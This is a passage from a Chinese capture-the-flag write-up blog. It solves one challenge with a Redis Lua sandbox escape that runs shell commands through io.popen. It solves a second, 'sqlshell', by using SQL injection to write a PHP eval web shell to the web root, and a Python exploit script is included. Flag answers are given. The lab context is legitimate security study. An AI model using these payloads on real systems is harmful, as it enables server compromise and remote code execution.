eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

由于我们⽹站执⾏的是 redis 命令

于是去掉外⾯的 eval 即可

1
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("cat /flag", "r"); local res = f:read("*a"); f:close(); return res

最后flag为

1
flag{N3w5T@R_cTf_ZOZ4377957dbf0fc}

sqlshell

题目描述:

1
这次我不把 flag 放在数据库,看你们怎么办 ^ ^

开启环境

通过注入 SQL 语句,进行写文件,写一个木马到网站根目录(/var/www/html)下即可

打rce拿到flag

payload:

1
2
3
alice' union select 1,'<?php eval($_POST[1]);?>',3 INTO OUTFILE '/var/www/html/nb.php'#

1=system('cat /you_cannot_read_the_flag_directly');

也可以写脚本

exp:

1
2
3
4
5
6
7
8
9
import requests

url = 'http://192.168.0.115:3363/'

payload = '\' || 1 union select 1,2,"<?php eval($_GET[1]);" into outfile \'/var/www/html/3.php\'#'

res = requests.get(url,params={'student_name': payload})
res = requests.get(f'{url}/3.php', params={'1': 'system("cat /you_cannot_read_the_flag_directly");'})
print(res.text)

最后flag为

1
flag{e5d2e33e-6ddb-700a-879a-d5c361d78203}

文章作者: yiqing
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yiqing !
  目录